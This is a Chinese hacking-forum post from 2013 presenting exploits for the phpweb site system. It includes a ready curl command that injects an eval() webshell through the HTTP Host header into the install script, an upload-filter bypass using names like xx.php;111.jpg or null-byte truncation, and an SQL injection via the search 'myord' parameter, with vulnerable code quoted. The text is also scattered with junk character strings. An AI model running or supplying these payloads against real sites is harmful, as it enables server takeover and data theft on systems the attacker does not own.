找回密码
 立即注册
查看: 3109|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
; @, @5 L: Q2 S7 T, p2 @( _% _; r8 Q& G# s
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码/ `- e, c: w  ^. i% N. ?& Y
2 D3 e$ S/ d: S: i4 u
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
' J- D6 }8 h' _! q9 Y; ]鸡肋2: 有一定安全常识的站长都会删掉 install 目录" m5 m8 A4 N) e
6 h/ e1 z" o9 c8 s4 H
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
4 {; ^( v  V) G9 b/ m" \: `- m. ^ / e  m0 K, k! J: G  d! y: b
分析:* r) d  _! ]2 K4 ]" @9 d

: X: x7 h% M8 t + W) `" D4 j* _: P! _; [) N2 Z" _
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤$ G2 S; D4 y: ^( x- P- c, z8 ?
: M: Z3 X/ R$ x4 n/ H* Y
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);* }' H$ j$ l- e5 A6 C
                                            $filestr=str_replace(" ","",$filestr);
0 S0 g7 t- f; |' |. z* f                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);5 G0 D& a  f" C
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);! ]8 X7 ?$ g' @8 c7 q: D
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);  J2 }' ~; ^0 ?: K6 ^
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);# Z& N- g0 y( I" K
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
8 C4 e' @$ I0 R6 c1 F7 d                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
: M/ p& P0 ]9 I1 m, d! B( ~; U                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( x) V6 |9 t+ o 8 c2 {/ p3 w* H- r( }, o* J7 c
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
/ {' E# W; H' S+ d$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^4 n5 g/ y- Q/ L0 T$ o  K- ]' n

4 h. L$ Q, b. Fpoc:: Y: B, }- \+ |; Y5 x, t4 j

8 |9 a/ P+ W) H$ s0 A  K?
+ [' L& T3 P& M% e1
; K, ~3 |1 K; mcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"1 ~$ j; u& ^  \0 D. p
shell地址: /config.inc.php
7 X9 l& e. j5 l跟之前的 phpcms一样 需要远程数据库, q* }% }9 [+ G% `4 W  ^& p

' w) Z2 o0 I7 Y+ O4 I0 k——————————————————–
% y( ]1 N  }% l2 D) M$ a2 m上传漏洞(需要进后台):
& `% G2 W2 `$ B/ x; k. Y5 }1 l漏洞文件: /kedit/upload_cgi/upload.php( \: x1 U- l7 W9 J
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用' F& h/ r' ]  Q1 Q9 d! a) U
& F( R- }, @; b7 P+ \9 s5 B

4 E1 a6 _: }% w<?php/ E' E  |' j7 k- A
    define("ROOTPATH", "../../");
+ \! L% i* h0 Q, e7 Q    include(ROOTPATH."includes/admin.inc.php");; v  |8 }6 ]( ^. A5 X
    NeedAuth(0);
4 K, m& Y3 M* r' a. e; @
5 I( M0 a: ^/ j% \8 {: }) Y    $dt=date("Ymd",time());1 b, b; a, e3 ?6 }+ S; ?2 X
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){0 C" Z  z5 C% F
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
; e& }1 `; M5 v% c$ j7 v8 _( ]    }
. _, ]# v/ a/ j" {7 I2 H
0 p$ Z7 w: E6 [* A/ z3 X2 G    //文件保存目录路径. n2 V, l+ P6 `" j" c- O
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
- S( R2 `9 `- \; ^" z$ X4 K/ ?    echo $save_path;
1 }- E: M& ]7 {9 ~    //文件保存目录URL
. J9 ]( W; P9 m' I/ c( D9 A    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
5 i; H' R- I$ D: I- N/ Q
/ _  m6 X1 T; `1 }2 D    //定义允许上传的文件扩展名
# W  S# F! n+ C4 n$ V4 Y    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
" P; n' @3 ~6 f4 l; b) G $ o, e  G) n% K6 s% e4 w
    //最大文件大小# @8 Q+ @, L0 [
    $max_size = 1000000;
; T4 x6 C* \- f) [/ d( R8 n9 k * @7 t: y3 p# r, T" X
    //更改目录权限
/ x; Z# H0 c# s  {$ J7 f    @mkdir($save_path, 0777);/ `4 E' F7 |! W

5 ]- @; k7 u2 T* G+ t5 |    //文件的全部路径
3 G7 Q$ b- X6 M$ @" S/ s8 w    $file_path = $save_path.$_POST['fileName'];   //保存文件名
1 r. p9 m; m5 o3 g0 X; @ + \, [3 d) O  l* J4 e% N/ Z4 B; v, Z
    //文件URL. u6 O! d% E. E4 v. a7 e2 n
    $file_url = $save_url.$_POST['fileName'];
* M" e' B; |6 ^% \! q9 j, J9 S& {$ i//有上传文件时
/ L. {$ V. v$ W( y1 V& p' r! @( |    if (empty($_FILES) === false) {: g+ x- S: x; h) a
7 r6 e( E" s4 ]
            //原文件名
( c$ F* V  E. V' S3 ^( {            $file_name = $_FILES['fileData']['name'];0 w. Y7 ^5 c8 i* x. t
            //服务器上临时文件名8 p; Q1 e/ O5 d- P, b
            $tmp_name = $_FILES['fileData']['tmp_name'];9 `0 W, r- ?# \7 V
            //文件大小
  ]9 y* e6 u/ h# V: n7 E            $file_size = $_FILES['fileData']['size'];
8 ~) K$ M4 }/ L/ m            //检查目录
6 s8 n! \& V$ }9 ]            if (@is_dir($save_path) === false) {
  s9 M3 v/ X* m9 Q' i, @                    alert("上传目录不存在。");: ?2 X$ g. s* _- t# p& u
            }5 }/ y( R& b5 @+ ]8 l, X, J: f
            //检查目录写权限
! ^" _; q; Y; m; P3 @            if (@is_writable($save_path) === false) {3 N) _2 P; G3 f# v$ B9 @% T
                    alert("上传目录没有写权限。");
# @/ f2 a0 g# p: F" p3 @            }
% q* S% x. I! ~6 D            //检查是否已上传
8 ?' P9 H9 S' [6 V- N            if (@is_uploaded_file($tmp_name) === false) {" q* \! c. W( V% x
                    alert("临时文件可能不是上传文件。");
& P) Y' L; v4 Z; i% }2 _            }. a' {! F. N" W# a9 m
            //检查文件大小5 s! {1 j* g- g2 v8 X0 y. x
            if ($file_size > $max_size) {
% @" i0 m/ W& c4 l, B3 U; b                    alert("上传文件大小超过限制。");, s2 \7 G/ @5 M2 \
            }2 V: [: h' f% r
            //获得文件扩展名, K) \& |8 v4 W5 o6 [" X6 ^
            $temp_arr = explode(".", $_POST['fileName']);
" X" Y7 ]/ n, U2 T2 Y            $file_ext = array_pop($temp_arr);* K' S& G( W+ k( S0 U, i
            $file_ext = trim($file_ext);
6 f; A9 j2 G! P2 s6 a1 j            $file_ext = strtolower($file_ext);! N8 g: W! q3 p3 d8 L9 P
  U5 q. N3 d+ w- D6 ?! n
            //检查扩展名   ! R' x( r3 M7 i  _- M+ p) _* O8 y9 y
            if (in_array($file_ext, $ext_arr) === false) {     
+ V) a, \# Y6 z+ A' @' w: ^                    alert("上传文件扩展名是不允许的扩展名。");/ q7 _0 q$ e  R+ y' j
            }$ X7 ^+ S% l3 [  t5 E8 H

% Y4 Z# }' N' o, y4 _            //移动文件   
4 s# U9 H+ m. f' p- W+ s/ ]/ d            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
+ I8 u' L1 U0 X; t$ O            if (move_uploaded_file($tmp_name, $file_path) === false) {3 s( P+ O  U. a$ n
                    alert("上传文件失败。");
# z% q5 p' Q5 G, ^# v# D            }% Q* g/ n. O. }. m3 f+ z3 o5 [8 C
$ o# M- \/ c: t
            @chmod($file_path,0666);
  G" R: p2 U4 s$ T; w3 P: S
! Z. o5 [8 G, z    ?>
+ F, }  Y5 k8 X& C& S( {抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
4 H1 |* I' _8 c+ `/ C3 }& E, n 9 `8 x7 Z/ X, R! K2 Y, a& Z# J; g! e
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过: `1 w& \2 o- r( [! r3 E) \, S

( |0 {: c( y! h, @3 ^# q2 m6 {/ _6 q& j——————————————————: o2 P" g# {2 C
注入漏洞:9 y" _! Q/ j. m' J: r
漏洞文件:search/module/search.php
7 \( @: {, X( v0 N$ [/search/index.php?key=1&myord=1 [sqlinjection]
/ i- V5 m3 s4 q0 [. T+ ^" c 8 F) b# M4 W! ~$ {! M
3 d& k% V+ Q& U: ]+ K2 B
<?php
7 I+ I$ r  D! B$ t: ^7 Y7 v   //       ... 省略 n 行...
8 g: P2 P+ M6 T( J8 s0 Q   //第18行:) _' v( m' c/ v
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
; A2 d$ G. F3 q: C           $page=htmlspecialchars($_GET["page"]);
1 O" r' g7 F. b0 `" t           $myord=htmlspecialchars($_GET["myord"]);
7 i# I1 s4 Z2 a- p4 t% C, \
5 b* ^: e. m* K, P' \' U) z% p   //       ... 省略 n 行...
' `, j) V; X1 f3 k   $key,$myord 两个参数带入查询
3 x# }5 i. m4 _9 _8 Z' H   //第47行 $key:
* m" {. l/ }8 Y' j0 O. l$ m: s: g
- V# R  C/ ?" T8 }8 T5 h2 p1 j   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
- F& ]+ _- s) I  ^# V  U5 `
# t' p# |9 H: {/ |   //第197行 $myord
1 N  q5 L7 v3 \$ q. r   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
* U; d7 ]% a$ [, H
: F7 C  l% K- t* }4 h2 d! \8 F% d   ?>
3 w* Z6 ]! Z3 {  _. \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表